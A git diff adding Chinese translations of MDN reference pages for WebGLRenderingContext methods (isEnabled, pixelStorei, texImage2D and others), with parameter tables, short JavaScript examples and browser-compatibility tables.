WebGLRenderingContext.isEnabled()WebGL API 方法之一,用来检测给定的 WebGL 功能项在当前上下文是否可用。

+ +

默认的,除了 gl.DITHER,所有的功能项都是未启用的。

+ +

句法

+ +
void gl.isEnabled(cap);
+
+ +

参数

+ +
+
cap
+
{{domxref("GLenum")}} 指定待检测的 WebGL 功能项。可能的值有:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ConstantDescription
gl.BLENDBlending of the computed fragment color values. See {{domxref("WebGLRenderingContext.blendFunc()")}}.
gl.CULL_FACECulling of polygons. See {{domxref("WebGLRenderingContext.cullFace()")}}.
gl.DEPTH_TESTDepth comparisons and updates to the depth buffer. See {{domxref("WebGLRenderingContext.depthFunc()")}}.
gl.DITHERDithering of color components before they get written to the color buffer.
gl.POLYGON_OFFSET_FILLAdding an offset to depth values of polygon's fragments. See {{domxref("WebGLRenderingContext.polygonOffset()")}}.
gl.SAMPLE_ALPHA_TO_COVERAGEComputation of a temporary coverage value determined by the alpha value.
gl.SAMPLE_COVERAGEANDing the fragment's coverage with the temporary coverage value. See {{domxref("WebGLRenderingContext.sampleCoverage()")}}.
gl.SCISSOR_TESTScissor test that discards fragments that are outside of the scissor rectangle. See {{domxref("WebGLRenderingContext.scissor()")}}.
gl.STENCIL_TESTStencil testing and updates to the stencil buffer. See {{domxref("WebGLRenderingContext.stencilFunc()")}}.
+ 当使用 {{domxref("WebGL2RenderingContext", "WebGL 2 context", "", 1)}} 的时候,下列附加的值也是可选用的。 + + + + + + + + + + + + + + +
ConstantDescription
gl.RASTERIZER_DISCARDPrimitives are discarded immediately before the rasterization stage, but after the optional transform feedback stage. gl.clear() commands are ignored.
+
+
+ +

返回值

+ +

{{domxref("GLboolean")}} 指示能力项 cap 可用 (true),不可用 (false)。

+ +

示例

+ +
gl.isEnabled(gl.STENCIL_TEST);
+// false
+
+ +

启用或停用给定的能力项,使用 {{domxref("WebGLRenderingContext.enable()")}} 方法和 {{domxref("WebGLRenderingContext.disable()")}} 方法:

+ +
gl.enable(gl.STENCIL_TEST);
+gl.disable(gl.STENCIL_TEST);
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebGL', "#5.14.3", "isEnabled")}}{{Spec2('WebGL')}}Initial definition for WebGL.
{{SpecName('OpenGL ES 2.0', "glIsEnabled.xml", "glIsEnabled")}}{{Spec2('OpenGL ES 2.0')}}Man page of the (similar) OpenGL ES 2.0 API.
{{SpecName('WebGL2', "#3.7.2", "isEnabled")}}{{Spec2('WebGL2')}}Updated definition for WebGL 2.
{{SpecName('OpenGL ES 3.0', "glIsEnabled.xhtml", "glIsEnabled")}}{{Spec2('OpenGL ES 3.0')}}Man page of the (similar) OpenGL ES 3.0 API.
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatChrome("9")}}{{CompatGeckoDesktop("2.0")}}{{CompatIE("11")}}{{CompatOpera("12")}}{{CompatSafari("5.1")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}25{{CompatVersionUnknown}}{{CompatUnknown}}128.1
+
+ +

另见

+ + diff --git a/files/zh-cn/web/api/webglrenderingcontext/isprogram/index.html b/files/zh-cn/web/api/webglrenderingcontext/isprogram/index.html new file mode 100644 index 0000000000..0c272f6188 --- /dev/null +++ b/files/zh-cn/web/api/webglrenderingcontext/isprogram/index.html @@ -0,0 +1,77 @@ +--- +title: WebGLRenderingContext.isProgram() +slug: Web/API/WebGLRenderingContext/isProgram +translation_of: Web/API/WebGLRenderingContext/isProgram +--- +

{{APIRef("WebGL")}}

+ +

 WebGL API中的WebGLRenderingContext.isProgram() 函数 将会在{{domxref("WebGLProgram")}}是一个合法的着色器程序(program)时返回 true , 而在其他情况返回false

+ +

语法

+ +
GLboolean gl.isProgram(program);
+
+ +

参数

+ +
+
program
+
一个要检查的 {{domxref("WebGLProgram")}}对象 .
+
+ +

返回值

+ +

一个表示program是否有效的 {{domxref("GLboolean")}} 值.

+ +

示例

+ +

检查一个program是否有效

+ +
var canvas = document.getElementById('canvas');
+var gl = canvas.getContext('webgl');
+var program = gl.createProgram();
+
+// ...
+
+gl.isProgram(program);
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebGL', "#5.14.9", "isProgram")}}{{Spec2('WebGL')}}Initial definition.
{{SpecName('OpenGL ES 2.0', "glIsProgram.xml", "glIsProgram")}}{{Spec2('OpenGL ES 2.0')}}Man page of the OpenGL API.
+ +

浏览器兼容性

+ + + +

{{Compat("api.WebGLRenderingContext.isProgram")}}

+ +

另请参见

+ + diff --git a/files/zh-cn/web/api/webglrenderingcontext/isshader/index.html b/files/zh-cn/web/api/webglrenderingcontext/isshader/index.html new file mode 100644 index 0000000000..b0a5c10de4 --- /dev/null +++ b/files/zh-cn/web/api/webglrenderingcontext/isshader/index.html @@ -0,0 +1,78 @@ +--- +title: WebGLRenderingContext.isShader() +slug: Web/API/WebGLRenderingContext/isShader +tags: + - API + - Method + - Reference + - WebGL + - WebGLRenderingContext +translation_of: Web/API/WebGLRenderingContext/isShader +--- +
{{APIRef("WebGL")}}
+ +

WebGL API 中的 WebGLRenderingContext.isShader() 方法,在传入的 {{domxref("WebGLShader")}} 有效时返回 true ,否则返回 false

+ +

语法

+ +
GLboolean gl.isShader(shader);
+
+ +

参数

+ +
+
shader
+
需要校验的 {{domxref("WebGLShader")}} 
+
+ +

返回值

+ +

用来表明 shader 是否有效的 {{domxref("GLboolean")}} 对象

+ +

示例

+ +

校验一个 Shader

+ +
var canvas = document.getElementById('canvas');
+var gl = canvas.getContext('webgl');
+var shader = gl.createShader(gl.VERTEX_SHADER);
+
+// ...
+
+gl.isShader(shader);
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebGL', "#5.14.9", "isShader")}}{{Spec2('WebGL')}}Initial definition.
{{SpecName('OpenGL ES 2.0', "glIsShader.xml", "glIsShader")}}{{Spec2('OpenGL ES 2.0')}}Man page of the OpenGL API.
+ +

浏览器兼容性

+ + + +

{{Compat("api.WebGLRenderingContext.isShader")}}

+ +

参阅

+ + diff --git a/files/zh-cn/web/api/webglrenderingcontext/linkprogram/index.html b/files/zh-cn/web/api/webglrenderingcontext/linkprogram/index.html new file mode 100644 index 0000000000..86d850ebff --- /dev/null +++ b/files/zh-cn/web/api/webglrenderingcontext/linkprogram/index.html @@ -0,0 +1,78 @@ +--- +title: WebGLRenderingContext.linkProgram() +slug: Web/API/WebGLRenderingContext/linkProgram +translation_of: Web/API/WebGLRenderingContext/linkProgram +--- +
{{APIRef("WebGL")}}
+{{domxref("WebGLRenderingContext")}} 接口的linkProgram()方法链接给定的{{domxref("WebGLProgram")}},从而完成为程序的片元和顶点着色器准备GPU代码的过程。
+ +

语法

+ +
void gl.linkProgram(program);
+
+ +

参数

+ +
+
program
+
一个用于链接的 {{domxref("WebGLProgram")}} 。
+
+ +

返回值

+ +

None.

+ +

例子

+ +
var program = gl.createProgram();
+
+// Attach pre-existing shaders
+gl.attachShader(program, vertexShader);
+gl.attachShader(program, fragmentShader);
+
+gl.linkProgram(program);
+
+if ( !gl.getProgramParameter( program, gl.LINK_STATUS) ) {
+  var info = gl.getProgramInfoLog(program);
+  throw new Error('Could not compile WebGL program. \n\n' + info);
+}
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebGL', "#5.14.9", "linkProgram")}}{{Spec2('WebGL')}}Initial definition.
{{SpecName('OpenGL ES 2.0', "glLinkProgram.xml", "glLinkProgram")}}{{Spec2('OpenGL ES 2.0')}}Man page of the OpenGL API.
+ +

浏览器兼容性

+ + + +

{{Compat("api.WebGLRenderingContext.linkProgram")}}

+ +

参考

+ + diff --git a/files/zh-cn/web/api/webglrenderingcontext/pixelstorei/index.html b/files/zh-cn/web/api/webglrenderingcontext/pixelstorei/index.html new file mode 100644 index 0000000000..1a84fa6f9a --- /dev/null +++ b/files/zh-cn/web/api/webglrenderingcontext/pixelstorei/index.html @@ -0,0 +1,233 @@ +--- +title: WebGLRenderingContext.pixelStorei() +slug: Web/API/WebGLRenderingContext/pixelStorei +translation_of: Web/API/WebGLRenderingContext/pixelStorei +--- +
{{APIRef("WebGL")}}
+ +

WebGLRenderingContext.pixelStorei() 是 WebGL API 中用于图像预处理的函数。

+ +

语法

+ +
void gl.pixelStorei(pname, param);
+
+ +

参数

+ +
+
pname
+
 {{domxref("Glenum")}} 类型 ,表示处理的方式。关于该参数可选值,请见下面表格。
+
param
+
 {{domxref("GLint")}}  类型,表示 pname 处理方式的参数。关于该参数可选值,请见下面表格。
+
+ +

返回值

+ +

None.

+ +

像素存储参数

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
模式名称 (pname)描述类型默认值 param 的可选值Specified in
gl.PACK_ALIGNMENTPacking of pixel data into memory{{domxref("GLint")}}41, 2, 4, 8OpenGL ES 2.0
gl.UNPACK_ALIGNMENTUnpacking of pixel data from memory.{{domxref("GLint")}}41, 2, 4, 8OpenGL ES 2.0
gl.UNPACK_FLIP_Y_WEBGL +

如果为true,则把图片上下对称翻转坐标轴(图片本身不变)。

+
{{domxref("GLboolean")}}falsetrue, falseWebGL
gl.UNPACK_PREMULTIPLY_ALPHA_WEBGLMultiplies the alpha channel into the other color channels{{domxref("GLboolean")}}falsetrue, falseWebGL
gl.UNPACK_COLORSPACE_CONVERSION_WEBGLDefault color space conversion or no color space conversion.{{domxref("GLenum")}}gl.BROWSER_DEFAULT_WEBGLgl.BROWSER_DEFAULT_WEBGL, gl.NONEWebGL
+ +

When using a {{domxref("WebGL2RenderingContext", "WebGL 2 context", "", 1)}}, the following values are available additionally:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ConstantDescriptionTypeDefault valueAllowed values (for param)Specified in
gl.PACK_ROW_LENGTHNumber of pixels in a row.{{domxref("GLint")}}00 to InfinityOpenGL ES 3.0
gl.PACK_SKIP_PIXELSNumber of pixel locations skipped before the first pixel is written into memory.{{domxref("GLint")}}00 to InfinityOpenGL ES 3.0
gl.PACK_SKIP_ROWSNumber of rows of pixel locations skipped before the first pixel is written into memory{{domxref("GLint")}}00 to InfinityOpenGL ES 3.0
gl.UNPACK_ROW_LENGTHNumber of pixels in a row.{{domxref("GLint")}}00 to InfinityOpenGL ES 3.0
gl.UNPACK_IMAGE_HEIGHTImage height used for reading pixel data from memory{{domxref("GLint")}}00 to InfinityOpenGL ES 3.0
gl.UNPACK_SKIP_PIXELSNumber of pixel images skipped before the first pixel is read from memory{{domxref("GLint")}}00 to InfinityOpenGL ES 3.0
gl.UNPACK_SKIP_ROWSNumber of rows of pixel locations skipped before the first pixel is read from memory{{domxref("GLint")}}00 to InfinityOpenGL ES 3.0
gl.UNPACK_SKIP_IMAGESNumber of pixel images skipped before the first pixel is read from memory{{domxref("GLint")}}00 to InfinityOpenGL ES 3.0
+ +

Examples

+ +

Setting the pixel storage mode affects the {{domxref("WebGLRenderingContext.readPixels()")}} operations, as well as unpacking of textures with the {{domxref("WebGLRenderingContext.texImage2D()")}} and {{domxref("WebGLRenderingContext.texSubImage2D()")}} methods.
+  

+ +
var tex = gl.createTexture();
+gl.bindTexture(gl.TEXTURE_2D, tex);
+gl.pixelStorei(gl.PACK_ALIGNMENT, 4);
+
+ +

To check the values for packing and unpacking of pixel data, you can query the same pixel storage parameters with {{domxref("WebGLRenderingContext.getParameter()")}}.

+ +
gl.getParameter(gl.PACK_ALIGNMENT);
+gl.getParameter(gl.UNPACK_ALIGNMENT);
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebGL', "#5.14.3", "pixelStorei")}}{{Spec2('WebGL')}}Initial definition for WebGL.
{{SpecName('WebGL', "#PIXEL_STORAGE_PARAMETERS", "Pixel Storage Parameters")}}{{Spec2('WebGL')}}Additional pixel storage parameters that aren't specified in OpenGL.
{{SpecName('OpenGL ES 2.0', "glPixelStorei.xml", "glPixelStorei")}}{{Spec2('OpenGL ES 2.0')}}Man page of the OpenGL ES 2.0 API.
{{SpecName('WebGL2', "#3.7.2", "pixelStorei")}}{{Spec2('WebGL2')}}Updated definition for WebGL 2.
{{SpecName('OpenGL ES 3.0', "glPixelStorei.xhtml", "glPixelStorei")}}{{Spec2('OpenGL ES 3.0')}}Man page of the OpenGL ES 3.0 API.
+ +

Browser compatibility

+ + + +

{{Compat("api/WebGLRenderingContext", "WebGLRenderingContext.pixelStorei")}}

+ +

See also

+ + diff --git a/files/zh-cn/web/api/webglrenderingcontext/renderbufferstorage/index.html b/files/zh-cn/web/api/webglrenderingcontext/renderbufferstorage/index.html new file mode 100644 index 0000000000..60057a8809 --- /dev/null +++ b/files/zh-cn/web/api/webglrenderingcontext/renderbufferstorage/index.html @@ -0,0 +1,155 @@ +--- +title: WebGLRenderingContext.renderbufferStorage() +slug: Web/API/WebGLRenderingContext/renderbufferStorage +translation_of: Web/API/WebGLRenderingContext/renderbufferStorage +--- +
{{APIRef("WebGL")}}
+ +

WebGL APIWebGLRenderingContext.renderbufferStorage() 方法用来创建和初始化一个渲染缓冲区对象的数据存储.

+ +

语法

+ +
void gl.renderbufferStorage(target, internalFormat, width, height);
+
+ +

参数

+ +
+
target
+
 {{domxref("Glenum")}} 指定一个渲染缓冲区对象. 可能的值: +
    +
  • gl.RENDERBUFFER:单一图像的缓冲数据存储在一个可渲染的内部格式。
    + .
  • +
+
+
internalFormat
+
 {{domxref("Glenum")}} 指定渲染缓冲区的内部格式. 可能的值: +
    +
  • gl.RGBA4: 4 red bits, 4 green bits, 4 blue bits 4 alpha bits.
  • +
  • gl.RGB565: 5 red bits, 6 green bits, 5 blue bits.
  • +
  • gl.RGB5_A1: 5 red bits, 5 green bits, 5 blue bits, 1 alpha bit.
  • +
  • gl.DEPTH_COMPONENT16: 16 depth bits.
  • +
  • gl.STENCIL_INDEX8: 8 stencil bits.
  • +
  • gl.DEPTH_STENCIL
  • +
  • 当使用{domxref("WebGL2RenderingContext", "WebGL 2 context", "", 1)}}时, 下面的值也是可用的: +
      +
    • gl.R8
    • +
    • gl.R8UI
    • +
    • gl.R8I
    • +
    • gl.R16UI
    • +
    • gl.R16I
    • +
    • gl.R32UI
    • +
    • gl.R32I
    • +
    • gl.RG8
    • +
    • gl.RG8UI
    • +
    • gl.RG8I
    • +
    • gl.RG16UI
    • +
    • gl.RG16I
    • +
    • gl.RG32UI
    • +
    • gl.RG32I
    • +
    • gl.RGB8
    • +
    • gl.RGBA8
    • +
    • gl.SRGB8_ALPHA8 (也可以作为WebGL 1的扩展,参见下面)
    • +
    • gl.RGB10_A2
    • +
    • gl.RGBA8UI
    • +
    • gl.RGBA8I
    • +
    • gl.RGB10_A2UI
    • +
    • gl.RGBA16UI
    • +
    • gl.RGBA16I
    • +
    • gl.RGBA32I
    • +
    • gl.RGBA32UI
    • +
    • gl.DEPTH_COMPONENT24
    • +
    • gl.DEPTH_COMPONENT32F
    • +
    • gl.DEPTH24_STENCIL8
    • +
    • gl.DEPTH32F_STENCIL8
    • +
    +
  • +
  • 当使用{domxref("WEBGL_color_buffer_float")}} 扩展: +
      +
    • ext.RGBA32F_EXT: RGBA 32-bit 浮点类型.
    • +
    • ext.RGB32F_EXT: RGB 32-bit 浮点类型.
    • +
    +
  • +
  • 当使用{domxref("EXT_sRGB")}} 扩展: +
      +
    • ext.SRGB8_ALPHA8_EXT: 8-bit sRGB 和 alpha.
    • +
    +
  • +
  • 当使用{domxref("WebGL2RenderingContext", "WebGL 2 context", "", 1)}} 和 {{domxref("EXT_color_buffer_float")}} 扩展: +
      +
    • gl.R16F
    • +
    • gl.RG16F
    • +
    • gl.RGBA16F
    • +
    • gl.R32F
    • +
    • gl.RG32F
    • +
    • gl.RGBA32F
    • +
    • gl.R11F_G11F_B10F
    • +
    +
  • +
+
+
width
+
 {{domxref("GLsizei")}} 指定渲染缓冲区的宽度(以像素为单位).
+
height
+
 {{domxref("GLsizei")}} 指定渲染缓冲区的高度(以像素为单位).
+
+ +

返回值

+ +

None.

+ +

示例

+ +
gl.renderbufferStorage(gl.RENDERBUFFER, gl.RGBA4, 256, 256);
+
+ +

说明

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebGL', "#5.14.7", "renderbufferStorage")}}{{Spec2('WebGL')}}WebGL初始定义.
{{SpecName('OpenGL ES 2.0', "glRenderbufferStorage.xml", "glRenderbufferStorage")}}{{Spec2('OpenGL ES 2.0')}}OpenGL ES 2 API手册.
{{SpecName('WebGL2', "#3.7.5", "getRenderbufferParameter")}}{{Spec2('WebGL2')}}WebGL 2更新定义.
{{SpecName('OpenGL ES 3.0', "glRenderbufferStorage.xhtml", "glRenderbufferStorage")}}{{Spec2('OpenGL ES 3.0')}} OpenGL ES 3 API手册(类似).
+ 添加许多新的内部格式.
+ +

浏览器兼容性

+ + + +

{{Compat("api.WebGLRenderingContext.renderbufferStorage")}}

+ +

另见

+ + diff --git a/files/zh-cn/web/api/webglrenderingcontext/scissor/index.html b/files/zh-cn/web/api/webglrenderingcontext/scissor/index.html new file mode 100644 index 0000000000..87c080f3ba --- /dev/null +++ b/files/zh-cn/web/api/webglrenderingcontext/scissor/index.html @@ -0,0 +1,94 @@ +--- +title: WebGLRenderingContext.scissor() +slug: Web/API/WebGLRenderingContext/scissor +tags: + - WebGL +translation_of: Web/API/WebGLRenderingContext/scissor +--- +
{{APIRef("WebGL")}}
+ +

 WebGLRenderingContext.scissor() 方法指定了一个裁剪区域,用来将绘图区域限制在其限定的盒形区域内。

+ +

语法

+ +
void gl.scissor(x, y, width, height);
+
+ +

参数

+ +
+
x
+
{{domxref("GLint")}} ,指定盒形裁剪区域左下角所在的横坐标,默认为 0。
+
y
+
 {{domxref("GLint")}} 指定盒形裁剪区域左下角的纵坐标,默认为 0。
+
width
+
{{domxref("Glsizei")}},用来确定盒型裁剪区域宽度的非负数,默认为 canvas 的宽度。
+
height
+
{{domxref("Glsizei")}} ,用以指定盒形裁剪区域高度的非负数,默认为canvas 的高度。
+
+ +

返回值

+ +

无。

+ +

抛错

+ +

宽或高为负值时,抛出  gl.INVALID_VALUE 错误。

+ +

示例

+ +

当裁剪区域可用的时候,只有处于此区域内的像素才能由绘图命令修改。

+ +
// turn on scissor test
+gl.enable(gl.SCISSOR_TEST);
+
+// set the scissor rectangle
+gl.scissor(x, y, width, height);
+
+// execute drawing commands in the scissor box (e.g. clear)
+
+// turn off scissor test again
+gl.disable(gl.SCISSOR_TEST);
+
+ +

通过查询 SCISSOR_BOX 常量来获取裁剪区域的维度信息,返回值是一个 {{jsxref("Int32Array")}} 对象。

+ +
gl.scissor(0, 0, 200, 200);
+gl.getParameter(gl.SCISSOR_BOX);
+// Int32Array[0, 0, 200, 200]
+ +

标准

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebGL', "#5.14.4", "scissor")}}{{Spec2('WebGL')}}Initial definition.
{{SpecName('OpenGL ES 2.0', "glScissor.xml", "glScissor")}}{{Spec2('OpenGL ES 2.0')}}Man page of the OpenGL API.
+ +

浏览器兼容性

+ + + +

{{Compat("api.WebGLRenderingContext.scissor")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/webglrenderingcontext/shadersource/index.html b/files/zh-cn/web/api/webglrenderingcontext/shadersource/index.html new file mode 100644 index 0000000000..3527279b63 --- /dev/null +++ b/files/zh-cn/web/api/webglrenderingcontext/shadersource/index.html @@ -0,0 +1,70 @@ +--- +title: WebGLRenderingContext.shaderSource() +slug: Web/API/WebGLRenderingContext/shaderSource +translation_of: Web/API/WebGLRenderingContext/shaderSource +--- +
{{APIRef("WebGL")}}
+ +

WebGL API 中的 WebGLRenderingContext.shaderSource() 方法用于设置 {{domxref("WebGLShader")}} 着色器(顶点着色器及片元着色器)的GLSL程序代码。

+ +

语法

+ +
void gl.shaderSource(shader, source);
+
+ +

参数

+ +
+
shader
+
用于设置程序代码的 {{domxref("WebGLShader")}} (着色器对象)。
+
source
+
包含GLSL程序代码的字符串。
+
+ +

返回值

+ +

None.

+ +

示例

+ +
var shader = gl.createShader(gl.VERTEX_SHADER);
+gl.shaderSource(shader, originalSource);
+
+var source = gl.getShaderSource(shader);
+ +

文档规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebGL', "#5.14.9", "shaderSource")}}{{Spec2('WebGL')}}Initial definition.
{{SpecName('OpenGL ES 2.0', "glShaderSource.xml", "glShaderSource")}}{{Spec2('OpenGL ES 2.0')}}Man page of the (similar) OpenGL API.
+ +

浏览器兼容性

+ + + +

{{Compat("api.WebGLRenderingContext.shaderSource")}}

+ +

另见

+ + diff --git a/files/zh-cn/web/api/webglrenderingcontext/teximage2d/index.html b/files/zh-cn/web/api/webglrenderingcontext/teximage2d/index.html new file mode 100644 index 0000000000..fb578ac252 --- /dev/null +++ b/files/zh-cn/web/api/webglrenderingcontext/teximage2d/index.html @@ -0,0 +1,872 @@ +--- +title: WebGLRenderingContext.texImage2D() +slug: Web/API/WebGLRenderingContext/texImage2D +translation_of: Web/API/WebGLRenderingContext/texImage2D +--- +
{{APIRef("WebGL")}}
+ +

WebGL API WebGLRenderingContext.texImage2D() 方法指定了二维纹理图像。

+ +

语法

+ +
// WebGL1:
+void gl.texImage2D(target, level, internalformat, width, height, border, format, type, ArrayBufferView? pixels);
+void gl.texImage2D(target, level, internalformat, format, type, ImageData? pixels);
+void gl.texImage2D(target, level, internalformat, format, type, HTMLImageElement? pixels);
+void gl.texImage2D(target, level, internalformat, format, type, HTMLCanvasElement? pixels);
+void gl.texImage2D(target, level, internalformat, format, type, HTMLVideoElement? pixels);
+void gl.texImage2D(target, level, internalformat, format, type, ImageBitmap? pixels);
+
+// WebGL2:
+void gl.texImage2D(target, level, internalformat, width, height, border, format, type, GLintptr offset);
+void gl.texImage2D(target, level, internalformat, width, height, border, format, type, HTMLCanvasElement source);
+void gl.texImage2D(target, level, internalformat, width, height, border, format, type, HTMLImageElement source);
+void gl.texImage2D(target, level, internalformat, width, height, border, format, type, HTMLVideoElement source);
+void gl.texImage2D(target, level, internalformat, width, height, border, format, type, ImageBitmap source);
+void gl.texImage2D(target, level, internalformat, width, height, border, format, type, ImageData source);
+void gl.texImage2D(target, level, internalformat, width, height, border, format, type, ArrayBufferView srcData, srcOffset);
+
+ +

参数

+ +
+
target
+
 {{domxref("GLenum")}} 指定纹理的绑定对象.可能的值: +
    +
  • gl.TEXTURE_2D: 二维纹理贴图.
  • +
  • gl.TEXTURE_CUBE_MAP_POSITIVE_X:立方体映射纹理的正X面。
  • +
  • gl.TEXTURE_CUBE_MAP_NEGATIVE_X: 立方体映射纹理的负X面。
  • +
  • gl.TEXTURE_CUBE_MAP_POSITIVE_Y: 立方体映射纹理的正Y面。
  • +
  • gl.TEXTURE_CUBE_MAP_NEGATIVE_Y: 立方体映射纹理的负Y面。
  • +
  • gl.TEXTURE_CUBE_MAP_POSITIVE_Z: 立方体映射纹理的正Z面。
  • +
  • gl.TEXTURE_CUBE_MAP_NEGATIVE_Z: 立方体映射纹理的负Z面。
  • +
+
+
level
+
 {{domxref("GLint")}} 指定详细级别. 0级是基本图像等级,n级是第n个金字塔简化级.
+
internalformat
+
 {{domxref("GLenum")}} 指定纹理中的颜色组件.
+
在 WebGL1 和 WebGL2 中可能的值:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FormatTypeChannelsBytes per pixel
RGBAUNSIGNED_BYTE44
RGBUNSIGNED_BYTE33
RGBAUNSIGNED_SHORT_4_4_4_442
RGBAUNSIGNED_SHORT_5_5_5_142
RGBUNSIGNED_SHORT_5_6_532
LUMINANCE_ALPHAUNSIGNED_BYTE22
LUMINANCEUNSIGNED_BYTE11
ALPHAUNSIGNED_BYTE11
+
+
在WebGL2 中,对带有 ArrayBufferView 或 GLintptr offset的  texImage2D 版本,其它可能的值
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Sized
+ Format
Base
+ Format
R
+ bits
G
+ bits
B
+ bits
A
+ bits
Shared
+ bits
Color
+ renderable
Texture
+ filterable
R8RED8
R8_SNORMREDs8
RG8RG88
RG8_SNORMRGs8s8
RGB8RGB888
RGB8_SNORMRGBs8s8s8
RGB565RGB565
RGBA4RGBA4444
RGB5_A1RGBA5551
RGBA8RGBA8888
RGBA8_SNORMRGBAs8s8s8s8
RGB10_A2RGBA1010102
RGB10_A2UIRGBAui10ui10ui10ui2
SRGB8RGB888
SRGB8_ALPHA8RGBA8888
R16FREDf16
RG16FRGf16f16
RGB16FRGBf16f16f16
RGBA16FRGBAf16f16f16f16
R32FREDf32
RG32FRGf32f32
RGB32FRGBf32f32f32
RGBA32FRGBAf32f32f32f32
R11F_G11F_B10FRGBf11f11f10
RGB9_E5RGB9995
R8IREDi8
R8UIREDui8
R16IREDi16
R16UIREDui16
R32IREDi32
R32UIREDui32
RG8IRGi8i8
RG8UIRGui8ui8
RG16IRGi16i16
RG16UIRGui16ui16
RG32IRGi32i32
RG32UIRGui32ui32
RGB8IRGBi8i8i8
RGB8UIRGBui8ui8ui8
RGB16IRGBi16i16i16
RGB16UIRGBui16ui16ui16
RGB32IRGBi32i32i32
RGB32UIRGBui32ui32ui32
RGBA8IRGBAi8i8i8i8
RGBA8UIRGBAui8ui8ui8ui8
RGBA16IRGBAi16i16i16i16
RGBA16UIRGBAui16ui16ui16ui16
RGBA32IRGBAi32i32i32i32
RGBA32UIRGBAui32ui32ui32ui32
+ +
+
+


+  在WebGL2 中,使用HTMLImageElement, HTMLCanvasElement, HTMLVideoElement, ImageBitmap, 或 ImageData作为texImage2D 纹理的版本中,可能的值有:

+ +
    +
  • gl.ALPHA: 抛弃红色、绿色和蓝色组件并读取alpha组件。
  • +
  • gl.RGB:抛弃alpha组件,读取红色、绿色和蓝色组件。
  • +
  • gl.RGBA: 从颜色缓冲区读取红色、绿色、蓝色和alpha组件。
  • +
  • gl.LUMINANCE: E每个颜色组件是一个亮度组件,alpha值为1.0。
  • +
  • gl.LUMINANCE_ALPHA: 每个组件都是亮度/alpha组件。
  • +
  • 当时用 {{domxref("WEBGL_depth_texture")}} 扩展: +
      +
    • gl.DEPTH_COMPONENT
    • +
    • gl.DEPTH_STENCIL
    • +
    +
  • +
  • 当时用 {{domxref("EXT_sRGB")}} 扩展: +
      +
    • ext.SRGB_EXT
    • +
    • ext.SRGB_ALPHA_EXT
    • +
    +
  • +
  • 当时用 {{domxref("WebGL2RenderingContext", "WebGL 2 context", "", 1)}}, 另外还提供以下值: +
      +
    • gl.R8
    • +
    • gl.R16F
    • +
    • gl.R32F
    • +
    • gl.R8UI
    • +
    • gl.RG8
    • +
    • gl.RG16F
    • +
    • gl.RG32F
    • +
    • gl.RG8UI
    • +
    • gl.RG16UI
    • +
    • gl.RG32UI
    • +
    • gl.RGB8
    • +
    • gl.SRGB8
    • +
    • gl.RGB565
    • +
    • gl.R11F_G11F_B10F
    • +
    • gl.RGB9_E5
    • +
    • gl.RGB16F
    • +
    • gl.RGB32F
    • +
    • gl.RGB8UI
    • +
    • gl.RGBA8
    • +
    • gl.SRGB8_ALPHA8
    • +
    • gl.RGB5_A1
    • +
    • gl.RGB10_A2
    • +
    • gl.RGBA4
    • +
    • gl.RGBA16F
    • +
    • gl.RGBA32F
    • +
    • gl.RGBA8UI
    • +
    +
  • +
+
+
width
+
 {{domxref("GLsizei")}} 指定纹理的宽度。
+
height
+
{{domxref("GLsizei")}} 指定纹理的高度
+
border
+
{{domxref("GLint")}} 指定纹理的边框宽度。必须为 0。
+
format
+
 {{domxref("GLenum")}} 指定texel数据格式。在 WebGL 1中,它必须与 internalformat 相同(查看上面). 在WebGL 2中, 这张表中列出了这些组合。
+
type
+
 {{domxref("GLenum")}} 指定texel数据的数据类型。可能的值: +
    +
  • gl.UNSIGNED_BYTE:  gl.RGBA每个通道8位
  • +
  • gl.UNSIGNED_SHORT_5_6_5: 5 bits红, 6 bits绿, 5 bits蓝
  • +
